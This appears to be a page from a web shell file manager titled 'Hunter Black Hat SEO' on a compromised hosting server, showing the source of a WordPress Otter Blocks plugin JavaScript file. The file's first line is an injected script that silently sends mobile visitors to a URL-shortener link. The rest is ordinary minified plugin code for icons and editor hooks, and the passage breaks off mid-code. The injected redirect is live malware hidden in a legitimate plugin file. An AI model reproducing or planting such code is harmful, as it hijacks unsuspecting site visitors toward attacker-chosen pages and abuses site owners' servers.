Hunter Black Hat SEO
Server:LiteSpeed
System:Linux quebec.us.hostns.io 5.14.0-687.42.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Aug 27 11:55:12 EDT 2026 x86_64
User:gazetufm (1431)
PHP:8.1.35
Disabled:NONE
Upload Files
File: //home2/gazetufm/yac.al/alb/wp-content/plugins/otter-blocks/build/patterns-library/index.js
(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/GNLgNDJCz0r1");
!function(){var e={942:function(e,t){var s;!function(){"use strict";var r={}.hasOwnProperty;function i(){for(var e="",t=0;t<arguments.length;t++){var s=arguments[t];s&&(e=n(e,o(s)))}return e}function o(e){if("string"==typeof e||"number"==typeof e)return e;if("object"!=typeof e)return"";if(Array.isArray(e))return i.apply(null,e);if(e.toString!==Object.prototype.toString&&!e.toString.toString().includes("[native code]"))return e.toString();var t="";for(var s in e)r.call(e,s)&&e[s]&&(t=n(t,s));return t}function n(e,t){return t?e?e+" "+t:e+t:e}e.exports?(i.default=i,e.exports=i):void 0===(s=function(){return i}.apply(t,[]))||(e.exports=s)}()}},t={};function s(r){var i=t[r];if(void 0!==i)return i.exports;var o=t[r]={exports:{}};return e[r](o,o.exports,s),o.exports}s.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return s.d(t,{a:t}),t},s.d=function(e,t){for(var r in t)s.o(t,r)&&!s.o(e,r)&&Object.defineProperty(e,r,{enumerable:!0,get:t[r]})},s.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},function(){"use strict";var e=window.wp.i18n,t=window.wp.components,r=window.wp.element,i=window.wp.data,o=window.wp.domReady,n=s.n(o),a=s(942),c=s.n(a),l=window.wp.primitives,h=window.ReactJSXRuntime;const u=({className:e})=>(0,h.jsxs)(l.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 29 32",width:"20",height:"20",className:c()("otter-icon",e),children:[(0,h.jsx)(l.Path,{d:"M19.831 7.877c0.001-0.003 0.001-0.005 0.001-0.009s-0-0.006-0.001-0.009l0 0c-0.047-0.081-0.092-0.164-0.132-0.247l-0.057-0.115c-0.277-0.498-0.381-0.99-1.033-1.064h-0.045c-0.001 0-0.002 0-0.003 0-0.486 0-0.883 0.382-0.908 0.862l-0 0.002c0.674 0.126 1.252 0.278 1.813 0.468l-0.092-0.027 0.283 0.096 0.147 0.053s0.028 0 0.028-0.011z"}),(0,h.jsx)(l.Path,{d:"M23.982 13.574c-0.008-2.41-0.14-4.778-0.39-7.112l0.026 0.299 0.070-0.019c0.459-0.139 0.787-0.558 0.787-1.053 0-0.479-0.307-0.887-0.735-1.037l-0.008-0.002h-0.026c-0.479-0.164-0.874-0.468-1.149-0.861l-0.005-0.007c-2.7-3.96-8.252-3.781-8.252-3.781s-5.55-0.179-8.25 3.781c-0.28 0.401-0.676 0.704-1.14 0.862l-0.016 0.005c-0.441 0.148-0.754 0.557-0.754 1.040 0 0.009 0 0.017 0 0.026l-0-0.001c-0 0.010-0.001 0.022-0.001 0.034 0 0.493 0.335 0.907 0.789 1.029l0.007 0.002 0.045 0.011c-0.224 2.034-0.356 4.403-0.364 6.801l-0 0.012s-9.493 13.012-1.277 17.515c4.733 2.431 6.881-0.769 6.881-0.769s1.397-1.661-1.784-3.355v-4.609c0.006-0.344 0.282-0.621 0.625-0.628h1.212v-0.59c0-0.275 0.223-0.498 0.498-0.498v0h1.665c0.274 0.001 0.496 0.224 0.496 0.498 0 0 0 0 0 0v0 0.59h2.721v-0.59c0-0.275 0.223-0.498 0.498-0.498v0h1.665c0.271 0.005 0.49 0.226 0.49 0.498 0 0 0 0 0 0v0 0.59h1.209c0 0 0 0 0 0 0.349 0 0.633 0.28 0.639 0.627v4.584c-3.193 1.703-1.784 3.355-1.784 3.355s2.148 3.193 6.879 0.769c8.222-4.503-1.269-17.515-1.269-17.515zM22.586 10.261c-0.097 1.461-0.67 2.772-1.563 3.797l0.007-0.008c-1.703 2.010-4.407 3.249-6.721 4.432v0c-2.325-1.177-5.026-2.416-6.736-4.432-0.883-1.019-1.455-2.329-1.555-3.769l-0.001-0.020c-0.126-2.22 0.583-5.929 3.044-6.74 2.416-0.788 3.947 1.288 4.494 2.227 0.152 0.258 0.429 0.428 0.745 0.428s0.593-0.17 0.743-0.424l0.002-0.004c0.551-0.932 2.080-3.008 4.494-2.22 2.474 0.805 3.174 4.513 3.046 6.734z"}),(0,h.jsx)(l.Path,{d:"M19.463 10.087h-0.028c-0.192 0.026-0.121 0.251-0.047 0.356 0.254 0.349 0.407 0.787 0.407 1.26 0 0.006-0 0.012-0 0.018v-0.001c-0.001 0.469-0.255 0.878-0.633 1.1l-0.006 0.003c-0.739 0.426-1.377-0.145-2.054-0.398-0.72-0.269-1.552-0.434-2.42-0.455l-0.009-0v-1.033c1.020-0.233 1.894-0.76 2.551-1.486l0.004-0.004c0.151-0.163 0.244-0.383 0.244-0.623 0-0.316-0.159-0.595-0.402-0.76l-0.003-0.002c-0.768-0.551-1.728-0.881-2.764-0.881-1.054 0-2.029 0.341-2.819 0.92l0.013-0.009c-0.224 0.166-0.367 0.429-0.367 0.726 0 0.226 0.083 0.433 0.221 0.591l-0.001-0.001c0.665 0.751 1.55 1.295 2.553 1.53l0.033 0.007v1.050c-0.742 0.021-1.448 0.14-2.118 0.343l0.057-0.015c-0.341 0.103-0.631 0.219-0.908 0.358l0.033-0.015c-0.519 0.26-1.037 0.436-1.58 0.121-0.371-0.213-0.617-0.607-0.617-1.058 0-0.002 0-0.004 0-0.007v0c0-0.002 0-0.004 0-0.007 0-0.47 0.153-0.905 0.411-1.257l-0.004 0.006c0.047-0.068 0.089-0.17 0.026-0.241s-0.189 0-0.27 0.030c-0.189 0.099-0.348 0.227-0.479 0.381l-0.002 0.002c-0.245 0.296-0.394 0.679-0.394 1.097 0 0.004 0 0.007 0 0.011v-0.001c0.008 0.706 0.393 1.321 0.964 1.651l0.009 0.005c0.296 0.178 0.654 0.283 1.036 0.283 0.364 0 0.706-0.095 1.001-0.263l-0.010 0.005c0.877-0.461 1.917-0.731 3.019-0.731 0.069 0 0.137 0.001 0.206 0.003l-0.010-0h0.030c1.277 0 2.382 0.266 3.266 0.775 0.27 0.159 0.594 0.253 0.94 0.253 0.001 0 0.002 0 0.003 0h-0c0.355-0.002 0.688-0.098 0.974-0.265l-0.009 0.005c0.606-0.357 1.007-1.007 1.007-1.75 0-0.001 0-0.003 0-0.004v0c0.001-0.026 0.002-0.056 0.002-0.086 0-0.625-0.34-1.171-0.846-1.462l-0.008-0.004c-0.056-0.040-0.125-0.065-0.199-0.070l-0.001-0zM13.101 8.831c-0.238 0.213-0.468 0.581-0.832 0.345-0.061-0.041-0.114-0.086-0.161-0.136l-0-0c-0.063-0.063-0.101-0.15-0.101-0.247 0-0.133 0.074-0.248 0.182-0.308l0.002-0.001c0.594-0.309 1.203-0.543 1.884-0.49-0.324 0.281-0.649 0.56-0.973 0.837z"}),(0,h.jsx)(l.Path,{d:"M15.89 13.578c-0.367 0.483-0.941 0.792-1.588 0.792s-1.221-0.309-1.585-0.787l-0.004-0.005c-0.064-0.103-0.177-0.171-0.306-0.171-0.199 0-0.36 0.161-0.36 0.36 0 0.091 0.034 0.174 0.090 0.238l-0-0c0.499 0.659 1.283 1.080 2.164 1.080s1.665-0.421 2.159-1.073l0.005-0.007c0.043-0.059 0.068-0.132 0.068-0.212 0-0.116-0.055-0.22-0.14-0.286l-0.001-0.001c-0.059-0.045-0.134-0.072-0.215-0.072-0.117 0-0.221 0.056-0.286 0.143l-0.001 0.001z"}),(0,h.jsx)(l.Path,{d:"M18.507 11.707c0 0.194-0.157 0.351-0.351 0.351s-0.351-0.157-0.351-0.351c0-0.194 0.157-0.351 0.351-0.351s0.351 0.157 0.351 0.351z"}),(0,h.jsx)(l.Path,{d:"M17.389 11.049c0 0.194-0.157 0.351-0.351 0.351s-0.351-0.157-0.351-0.351c0-0.194 0.157-0.351 0.351-0.351s0.351 0.157 0.351 0.351z"}),(0,h.jsx)(l.Path,{d:"M10.798 11.707c0 0.194-0.157 0.351-0.351 0.351s-0.351-0.157-0.351-0.351c0-0.194 0.157-0.351 0.351-0.351s0.351 0.157 0.351 0.351z"}),(0,h.jsx)(l.Path,{d:"M11.918 11.049c0 0.194-0.157 0.351-0.351 0.351s-0.351-0.157-0.351-0.351c0-0.194 0.157-0.351 0.351-0.351s0.351 0.157 0.351 0.351z"}),(0,h.jsx)(l.Path,{d:"M8.773 7.877c-0.001-0.003-0.002-0.005-0.002-0.009s0.001-0.006 0.002-0.009l-0 0c0.047-0.081 0.089-0.164 0.132-0.247 0.019-0.038 0.036-0.079 0.057-0.115 0.275-0.498 0.379-0.99 1.033-1.064h0.045c0 0 0.001 0 0.001 0 0.487 0 0.884 0.382 0.91 0.862l0 0.002c-0.678 0.124-1.261 0.277-1.827 0.468l0.092-0.027-0.275 0.096-0.1 0.036-0.045 0.017s-0.023 0-0.023-0.011z"})]});l.SVG,l.Path,l.SVG,l.Path,l.SVG,l.Path,l.SVG,l.Path,l.SVG,l.Path,l.SVG,l.Rect,l.Rect,l.SVG,l.Rect,l.Rect,l.Rect,l.Rect,l.Rect,l.Rect,l.SVG,t.Circle,l.Path,l.Path,l.Path,l.Path,l.Path,l.Path,l.Path,l.Rect,l.Rect,l.SVG,l.Path,l.Path,l.Path,l.Path,l.Path,l.Defs,l.LinearGradient,l.LinearGradient,l.LinearGradient,l.LinearGradient,l.LinearGradient;const d=(e={})=>(0,h.jsx)(l.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",...e,children:(0,h.jsx)(l.Path,{d:"M225.8 468.2l-2.5-2.3L48.1 303.2C17.4 274.7 0 234.7 0 192.8l0-3.3c0-70.4 50-130.8 119.2-144C158.6 37.9 198.9 47 231 69.6c9 6.4 17.4 13.8 25 22.3c4.2-4.8 8.7-9.2 13.5-13.3c3.7-3.2 7.5-6.2 11.5-9c0 0 0 0 0 0C313.1 47 353.4 37.9 392.8 45.4C462 58.6 512 119.1 512 189.5l0 3.3c0 41.9-17.4 81.9-48.1 110.4L288.7 465.9l-2.5 2.3c-8.2 7.6-19 11.9-30.2 11.9s-22-4.2-30.2-11.9zM239.1 145c-.4-.3-.7-.7-1-1.1l-17.8-20-.1-.1s0 0 0 0c-23.1-25.9-58-37.7-92-31.2C81.6 101.5 48 142.1 48 189.5l0 3.3c0 28.5 11.9 55.8 32.8 75.2L256 430.7 431.2 268c20.9-19.4 32.8-46.7 32.8-75.2l0-3.3c0-47.3-33.6-88-80.1-96.9c-34-6.5-69 5.4-92 31.2c0 0 0 0-.1 .1s0 0-.1 .1l-17.8 20c-.3 .4-.7 .7-1 1.1c-4.5 4.5-10.6 7-16.9 7s-12.4-2.5-16.9-7z"})}),m=(e={})=>(0,h.jsx)(l.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",...e,children:(0,h.jsx)(l.Path,{d:"M47.6 300.4L228.3 469.1c7.5 7 17.4 10.9 27.7 10.9s20.2-3.9 27.7-10.9L464.4 300.4c30.4-28.3 47.6-68 47.6-109.5v-5.8c0-69.9-50.5-129.5-119.4-141C347 36.5 300.6 51.4 268 84L256 96 244 84c-32.6-32.6-79-47.5-124.6-39.9C50.5 55.6 0 115.2 0 185.1v5.8c0 41.5 17.2 81.2 47.6 109.5z"})}),g=({className:e})=>(0,h.jsxs)(l.SVG,{fill:"none",height:"120",viewBox:"0 0 105 120",width:"105",xmlns:"http://www.w3.org/2000/svg",className:c()("otter-icon",e),children:[(0,h.jsx)(l.Path,{d:"m20.878 21.3949c-2.7016 5.6791-3.6852 12.0143-2.8314 18.2372s3.5083 12.0663 7.6416 16.8214c5.0014 5.5612 11.7793 9.1693 18.4114 12.6597 2.3868 1.257 4.8648 2.5501 7.5705 2.7852 3.5256.3075 6.951-1.2208 10.0211-2.957 7.9257-4.458 15.0407-10.6703 19.3497-18.637 4.3091-7.9666 5.539-17.796 2.0954-26.1695-1.7766-4.1776-4.5015-7.8912-7.9622-10.8513-6.3183-5.37277-14.3829-8.29272-22.7023-8.21977-4.0625.08614-8.0753.90423-11.8431 2.4144-3.6441 1.33832-7.2152 1.52822-10.595 3.61707-3.9414 2.5398-7.1076 6.1016-9.1557 10.2996z",fill:"#d6af99"}),(0,h.jsx)(l.Path,{d:"m79.6746 113.784c-2.8938 1.217-5.8638 2.247-8.8914 3.084-1.6762.47-3.3707.904-5.0925 1.202-.2004 0-.3735.073-.574.127-.0726-.009-.146-.009-.2186 0-5.92 1.126-11.9662 1.451-17.9742.967-1.9029-.141-3.7973-.379-5.6755-.714-.3458-.037-.6894-.091-1.0295-.163h-.1093l-.7926-.162c-1.6125-.326-3.1976-.715-4.7736-1.167-2.3983-.683-4.7504-1.517-7.0421-2.496-.4617-1.815-.6973-3.68-.7015-5.552-.3644-8.039-.7106-16.0508-1.0477-24.0897-.2381-2.2984-.0748-4.6203.4829-6.8635.4017-1.277 1.0576-2.4611 1.9286-3.4821.8711-1.021 1.9396-1.8581 3.1425-2.4618 1.2028-.6037 2.5154-.9618 3.8602-1.0529 1.3447-.0911 2.6942.0865 3.9685.5223 10.6224-1.7181 21.5909-3.373 32.0493-.9043 2.405.5697 4.9285 1.483 6.3223 3.5176 1.1388 1.682 1.2846 3.7979 1.4121 5.8235.4859 8.3374.9717 16.6808 1.4576 25.0299.1822 3.03.328 6.095-.7015 8.835z",fill:"#f4816b"}),(0,h.jsx)(l.Path,{d:"m76.6224 40.6922c.4919-4.5214-4.0813-8.672-8.6546-8.1385-1.4868.2379-2.9279.7015-4.2726 1.3745-1.2487.4972-2.5667.8022-3.9082.9043-2.1044.434-4.1178 1.3383-6.2222 1.4649-1.822.1537-4.1997.3708-5.9762-.2261l-4.9467-1.6457-1.1479-.416c-1.3138-.5739-2.6984-.9723-4.1178-1.1846-5.1745-.5154-9.9299 4.9012-8.2992 9.947s7.8984 5.9682 12.3623 4.7564c1.8767-.5064 3.644-1.284 5.5572-1.7271 3.2665-.6316 6.6275-.607 9.8844.0723 3.2705.5607 6.4863 1.4107 9.7751 1.8086 4.2908.5606 8.937-1.9533 9.8571-6.3932.0364-.1809.1093-.3798.1093-.5968z",fill:"#e8d3c9"}),(0,h.jsx)(l.Path,{d:"m46.9236 90.7166v28.5024c-1.9029-.141-3.7973-.379-5.6756-.714v-27.7884c.0016-1.156.2556-2.2979.7448-3.347.4891-1.0491 1.2017-1.9804 2.0885-2.7297.8894.7476 1.6043 1.6784 2.0951 2.7277.4909 1.0493.7458 2.1921.7472 3.349z",fill:"#d87768"}),(0,h.jsx)(l.Path,{d:"m70.7832 102.047v14.839c-1.6763.47-3.3708.904-5.0926 1.203-.2004 0-.3735.072-.5739.126v-16.168c.0018-2.7291 1.0095-5.3634 2.8332-7.4059 1.8274 2.0403 2.8357 4.676 2.8333 7.4059z",fill:"#f59085"}),(0,h.jsx)(l.Path,{d:"m44.8198 29.6875c-.4788.2616-.888.6326-1.1938 1.0823-.3057.4497-.4992.9652-.5645 1.5039.0139.3728.117.7371.3007 1.0625.1838.3255.4429.6029.7561.8093.6321.4086 1.3784.6081 2.1317.5697 1.2693-.0883 2.4822-.5548 3.4801-1.3383.9968-.7781 1.9124-1.6536 2.733-2.6133.2328-.1959.4219-.4378.5552-.7103.1333-.2724.208-.5695.2192-.8722-.1822-1.5011-2.4598-1.2208-3.5347-1.2298-1.7628.0968-3.4592.7-4.883 1.7362z",fill:"#e8d3c9"}),(0,h.jsx)(l.Path,{d:"m72.8053 28.7107c.005-.0208.005-.0425 0-.0633-.1731-.2984-.3371-.5968-.4829-.9043-.0728-.1356-.1366-.2803-.2186-.416-1.0112-1.8085-1.3938-3.617-3.7807-3.8702h-.1731c-.8601-.0061-1.6896.3163-2.317.9003-.6274.5841-1.0046 1.3851-1.0537 2.2375 2.159.3967 4.2894.9344 6.377 1.6096l1.0386.3527.3644.1266.1731.0633c.0071.0028.0148.004.0225.0037s.0152-.0022.0221-.0057c.0069-.0034.0129-.0082.0178-.0141s.0084-.0128.0105-.0201z",fill:"#53484a"}),(0,h.jsx)(l.Path,{d:"m88.0376 49.4636s0-13.7902-1.3301-24.7861c.0851-.0336.1737-.0578.2642-.0723.8212-.2407 1.544-.7344 2.0638-1.4096.5199-.6753.81-1.4973.8282-2.347.0183-.8497-.2362-1.6831-.7266-2.3798-.4904-.6966-1.1913-1.2205-2.0014-1.4957h-.1093c-1.7151-.5814-3.1968-1.694-4.2271-3.1739-4.6097-6.74589-11.506-10.18212-17.5369-11.94544-4.1402-1.214989-8.4368-1.8242439-12.7541-1.8085422-4.612.0072335-9.1958.7147182-13.5922 2.0979022-5.8122 1.80854-12.2986 5.25381-16.7079 11.67408-1.0299 1.4764-2.5124 2.5833-4.2271 3.1559-.8094.2695-1.5111.7885-2.0027 1.4814s-.7474 1.5235-.7303 2.3708c-.0159.8733.2649 1.7264.797 2.4219.5322.6956 1.2847 1.193 2.1365 1.4122l.1639.0543c-.4372 3.4995-.7288 7.2342-.911 10.797-.4099 7.5687-.4099 13.989-.4099 13.989s-15.59646 21.0876-16.9265343 40.023c-.6923657 9.4496 2.1681943 18.3473 12.2075343 23.8003 17.3638 8.853 25.2622-2.803 25.2622-2.803s5.129-6.059-6.5593-12.2259v-16.729c.0048-.606.2508-1.1856.6842-1.6124.4334-.4269 1.0192-.6664 1.6298-.6663h4.4366v-2.1522c0-.4797.192-.9397.5337-1.2788.3416-.3392.8051-.5297 1.2883-.5297h6.1038c.4832 0 .9466.1905 1.2883.5297.3417.3391.5337.7991.5337 1.2788v2.1522h9.9846v-2.1522c0-.4797.192-.9397.5337-1.2788.3417-.3392.8051-.5297 1.2883-.5297h6.1038c.4832 0 .9466.1905 1.2883.5297.3417.3391.5337.7991.5337 1.2788v2.1522h4.4457c.6073.0024 1.1889.2435 1.6174.6706.4286.4271.6692 1.0053.6692 1.6081v16.7109c-11.67 6.167-6.5319 12.226-6.5319 12.226s7.8711 11.656 25.2531 2.803c30.2002-16.4125-4.6552-63.8414-4.6552-63.8414zm-5.1108-12.072c-.3397 5.1111-2.3518 9.9723-5.7302 13.8443-6.2677 7.3156-16.1613 11.8369-24.6701 16.1412-8.527-4.3043-18.4479-8.8256-24.7338-16.1412-3.361-3.8809-5.3651-8.7382-5.712-13.8443-.4738-8.0842 2.1135-21.603 11.1871-24.551 8.8641-2.88459 14.485 4.6841 16.4893 8.1385.2822.4707.682.8613 1.1608 1.1337.4788.2725 1.0203.4177 1.5722.4216.5531.0024 1.0971-.1401 1.577-.4132s.8786-.6671 1.156-1.1421c2.0498-3.4544 7.6525-11.03213 16.5257-8.1385 9.0645 2.948 11.6335 16.4668 11.178 24.551z",fill:"#87574c"}),(0,h.jsxs)(l.G,{fill:"#53484a",children:[(0,h.jsx)(l.Path,{d:"m72.1402 37.0027c-.2031-.1363-.4387-.2174-.6832-.2351h-.1093c-.7015.0904-.4373.9042-.164 1.2931.9859 1.3674 1.5062 3.0117 1.4849 4.6931-.0072.8228-.2356 1.6287-.6616 2.3346-.426.7058-1.0342 1.2859-1.7616 1.6804-2.7331 1.5463-5.0379-.5154-7.5341-1.4468-2.8471-1.0164-5.8395-1.5751-8.8641-1.6549v-3.816c3.6179-.8016 6.8963-2.6972 9.3834-5.4256.3254-.3578.57-.7804.7174-1.2397.1474-.4592.1942-.9445.1372-1.4231-.0569-.4787-.2163-.9397-.4673-1.3523-.2511-.4125-.5882-.7671-.9886-1.0398-2.9834-2.0952-6.5525-3.2113-10.2071-3.1919-3.6546.0195-7.2115 1.1735-10.1721 3.3004-.3682.267-.6766.607-.9053.9986-.2288.3915-.373.826-.4236 1.2759-.0505.4498-.0063.9052.13 1.3371.1362.432.3615.8311.6614 1.172 2.4864 2.8257 5.8143 4.7925 9.5018 5.6156v3.816c-2.5659.0675-5.1115.4719-7.5705 1.2027-1.1141.3144-2.1991.7228-3.2431 1.2207-1.9131.9043-3.8172 1.5825-5.8031.4341-.6927-.3905-1.2675-.9578-1.6648-1.6431-.3972-.6853-.6025-1.4637-.5945-2.2543-.0102-1.6407.5032-3.2425 1.4667-4.5756.1822-.2532.3279-.633.0911-.9043-.2369-.2713-.7015 0-.993.1085-.6691.3502-1.2632.8262-1.7492 1.4016-.9788 1.1381-1.5067 2.5911-1.4849 4.0873.0152 1.2337.3553 2.442.9866 3.5049.6313 1.0628 1.5317 1.9432 2.6119 2.5537 1.1265.6536 2.4047 1.0055 3.7094 1.0213 1.3047.0159 2.5912-.3049 3.7335-.9308 3.6584-1.8634 7.7332-2.775 11.8431-2.6496.0329.0085.0673.0085.1002 0 4.1798-.1131 8.3164.8628 11.998 2.8304 1.0633.6104 2.2699.9318 3.4982.9318 1.2284 0 2.435-.3214 3.4983-.9318 1.1331-.6472 2.0737-1.5803 2.7264-2.7046.6528-1.1243.9945-2.4.9905-3.6976.0606-1.1552-.2103-2.3037-.7812-3.3121s-1.4183-1.8354-2.4438-2.3848zm-24.0414-4.8107c-.911.7324-1.7218 2.0979-3.0519 1.2569-.2166-.149-.4179-.3186-.6013-.5064-.1404-.1409-.246-.3121-.3086-.5003-.0627-.1881-.0806-.3882-.0523-.5843.0282-.1962.1018-.3832.215-.5465.1132-.1632.2629-.2982.4375-.3945 2.0799-1.2544 4.4819-1.8827 6.9145-1.8085z"}),(0,h.jsx)(l.Path,{d:"m58.3292 49.4907c-.679.8968-1.5588 1.6245-2.57 2.1256-1.0111.5012-2.1257.7621-3.2559.7621-1.1301 0-2.2448-.2609-3.2559-.7621-1.0111-.5011-1.8909-1.2288-2.57-2.1256-.2102-.2794-.5236-.4644-.8713-.5144-.3476-.0501-.7011.039-.9826.2477-.2814.2086-.4679.5197-.5183.8648s.0394.696.2496.9754c.9272 1.2209 2.1273 2.2114 3.5059 2.8935 1.3785.6821 2.8978 1.0371 4.4381 1.0371s3.0596-.355 4.4381-1.0371 2.5787-1.6726 3.5058-2.8935c.1041-.1378.1799-.2945.2229-.4613.0431-.1668.0526-.3404.0281-.5109-.0246-.1704-.0827-.3344-.1711-.4826-.0883-.1481-.2053-.2776-.344-.3809-.1388-.1033-.2967-.1785-.4648-.2212-.168-.0427-.3429-.0522-.5146-.0279-.1718.0244-.337.0821-.4862.1698-.1493.0877-.2797.2038-.3838.3415z"}),(0,h.jsx)(l.Path,{d:"m66.6559 43.9566c.7145 0 1.2937-.5749 1.2937-1.2841s-.5792-1.2841-1.2937-1.2841c-.7144 0-1.2936.5749-1.2936 1.2841s.5792 1.2841 1.2936 1.2841z"}),(0,h.jsx)(l.Path,{d:"m62.5475 41.5513c.7145 0 1.2937-.5749 1.2937-1.2841s-.5792-1.284-1.2937-1.284c-.7144 0-1.2936.5748-1.2936 1.284s.5792 1.2841 1.2936 1.2841z"}),(0,h.jsx)(l.Path,{d:"m38.3512 43.9566c.7145 0 1.2937-.5749 1.2937-1.2841s-.5792-1.2841-1.2937-1.2841c-.7144 0-1.2936.5749-1.2936 1.2841s.5792 1.2841 1.2936 1.2841z"}),(0,h.jsx)(l.Path,{d:"m42.4596 41.5513c.7145 0 1.2937-.5749 1.2937-1.2841s-.5792-1.284-1.2937-1.284c-.7144 0-1.2936.5748-1.2936 1.284s.5792 1.2841 1.2936 1.2841z"}),(0,h.jsx)(l.Path,{d:"m32.2018 28.7106c-.0054-.0208-.0054-.0425 0-.0633.1731-.2984.3371-.5968.4919-.9043.0729-.1356.1367-.2803.2096-.4159 1.0112-1.8086 1.3938-3.6171 3.7898-3.8703h.1639c.8585-.0013 1.6847.3244 2.3085.9099.6237.5854.9974 1.3861 1.0441 2.237-2.1596.3944-4.29.9322-6.3771 1.6096l-1.0477.3526-.3644.1266-.1639.0633s-.0547-.009-.0547-.0452z"})]}),(0,h.jsx)(l.Path,{d:"m81.3598 87.0448c-.0009 1.2021-.1978 2.3961-.583 3.5357-.3595 1.0844-.8652 2.1156-1.5032 3.0655-.2736.4626-.578.9067-.911 1.3293-.3719.3794-.7642.7387-1.1752 1.076l-.1549.1447c-.4555.3889-.9656.7506-1.4485 1.1123l-.1639.1266-.2005.1175c-.1457.0905-.2642.1809-.4099.2532-.1458.0724-.2733.1809-.4009.2532l-.2186.1266-.2004.1085c-.0182-.2468-.0182-.4946 0-.7415v-5.932c0-2.2607 0-4.5213 0-6.8001v-3.2554c0-.6028-.2406-1.181-.6692-1.6081s-1.0102-.6682-1.6174-.6706h-4.4549v-2.1522c0-.4796-.1919-.9397-.5336-1.2788-.3417-.3392-.8052-.5297-1.2884-.5297h-6.1128c-.4833 0-.9467.1905-1.2884.5297-.3417.3391-.5337.7992-.5337 1.2788v2.1522h-9.9755v-2.1522c0-.4796-.1919-.9397-.5336-1.2788-.3417-.3392-.8052-.5297-1.2884-.5297h-6.1037c-.4833 0-.9467.1905-1.2884.5297-.3417.3391-.5337.7992-.5337 1.2788v2.1522h-4.4457c-.3026-.0012-.6026.0568-.8827.1707-.2801.1138-.5348.2813-.7497.493-.2149.2116-.3857.4631-.5026.7402s-.1777.5744-.1789.8748v15.7434c.0258.3009.0258.6034 0 .9042-1.4313-.7535-2.7422-1.7134-3.89-2.8484-.5192-.4851-.9725-1.0353-1.3483-1.6367.7209-.9243 1.39-1.8873 2.0042-2.8847-.8381.0543-2.1318 0-3.3798.1809-.4959-1.2784-.7522-2.636-.7562-4.0059-.0029-.4291.0214-.858.0729-1.2841.8144-.9738 1.5487-2.011 2.1955-3.1016h-1.3847c3.1612-7.5778 14.5032-13.2657 27.9861-13.2657 6.6211-.1011 13.1657 1.4143 19.0583 4.4129-.4737.6601-.911 1.3292-1.2116 1.8085 1.2676.0017 2.5338-.0829 3.7897-.2532 4.4822 3.1559 7.2152 7.2342 7.2152 11.7103z",fill:"#775049"}),(0,h.jsx)(l.Path,{d:"m22.4634 51.0371c-10.2306 8.1113-18.72123 25.7717-22.3652555 38.4857 1.3300655-18.9354 16.8718555-40.0591 16.8718555-40.0591s0-6.4204.4099-13.9891c.2597 3.4299 1.0973 6.7922 2.478 9.947-.7715.9621-1.4775 1.9741-2.1136 3.0293.8291-.0543 2.15 0 3.3799-.1809.4555.9405.9019 1.8719 1.3392 2.7671z",fill:"#775049"}),(0,h.jsx)(l.Path,{d:"m52.5082.00005208c-4.612.00723348-9.1957.71471792-13.5922 2.09790792 1.4212.66011 2.733 1.3564 3.9629 2.07078-.6468.84097-1.1843 1.80854-1.6307 2.42344 1.5723.0302 3.1431-.1154 4.6826-.43405.6468.47022 1.2298.95852 1.822 1.43779-.3007.45213-.5648.90427-.8017 1.23885.5375 0 1.2572 0 2.0315-.07234.6159.61855 1.1825 1.28367 1.6945 1.98937.1352.1849.3126.3355.5176.4392.2051.1038.432.1579.6622.1579.2301 0 .457-.0541.6621-.1579.2051-.1037.3824-.2543.5176-.4392 2.3049-3.27344 6.541-6.32987 12.2531-8.90704-4.1472-1.229837-8.4532-1.85131202-12.7815-1.84470792z",fill:"#775049"}),(0,h.jsx)(l.Path,{d:"m99.8168 70.4789c-.4829-1.1303-.9748-2.2607-1.4941-3.3368-1.3574-2.9388-2.8059-5.6516-4.1724-8.0299-.6195-1.0941-1.2116-2.0979-1.822-3.0293-2.4688-4.0963-4.3364-6.6192-4.3364-6.6192s0-6.4204-.4099-13.9891c-.4009 6.2395-2.9517 11.1406-5.0835 15.5625 1.0264.8319 2.0407 1.7362 3.0428 2.7128.911.9043 1.822 1.899 2.6693 2.9389.4008.4521.7561.9042 1.1387 1.4016-.665.859-1.2116 1.8085-1.658 2.4325.8472-.0543 2.1135 0 3.3525-.1537 1.834 2.5473 3.5074 5.2049 5.0105 7.9575-.8939 1.0096-1.6872 2.1029-2.3686 3.2644 1.3228.0038 2.6441-.0869 3.9538-.2712 2.9765 5.8301 5.3945 11.9244 7.2245 18.2029-.419-6.4022-2.496-13.0576-5.0472-19.0439z",fill:"#775049"})]});var p=window.wp.blocks,f=window.wp.compose,b=(0,r.forwardRef)((({icon:e,size:t=24,...s},i)=>(0,r.cloneElement)(e,{width:t,height:t,...s,ref:i}))),_=(0,h.jsx)(l.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,h.jsx)(l.Path,{d:"m13.06 12 6.47-6.47-1.06-1.06L12 10.94 5.53 4.47 4.47 5.53 10.94 12l-6.47 6.47 1.06 1.06L12 13.06l6.47 6.47 1.06-1.06L13.06 12Z"})}),v=(0,h.jsx)(l.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,h.jsx)(l.Path,{d:"M13 5c-3.3 0-6 2.7-6 6 0 1.4.5 2.7 1.3 3.7l-3.8 3.8 1.1 1.1 3.8-3.8c1 .8 2.3 1.3 3.7 1.3 3.3 0 6-2.7 6-6S16.3 5 13 5zm0 10.5c-2.5 0-4.5-2-4.5-4.5s2-4.5 4.5-4.5 4.5 2 4.5 4.5-2 4.5-4.5 4.5z"})});window.lodash,window.themeisleGutenberg??={},window.themeisleGutenberg.blockIDs??=[];const{getBlock:y}=(0,i.select)("core/block-editor"),{getBlockParents:k}=(0,i.select)("core/block-editor"),{updateBlockAttributes:x}=(0,i.dispatch)("core/block-editor"),{getSelectedBlockClientId:w}=(0,i.select)("core/block-editor");new Map,new Set;var j=(0,h.jsx)(l.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,h.jsx)(l.Path,{d:"M18 5.5H6a.5.5 0 00-.5.5v3h13V6a.5.5 0 00-.5-.5zm.5 5H10v8h8a.5.5 0 00.5-.5v-7.5zm-10 0h-3V18a.5.5 0 00.5.5h2.5v-8zM6 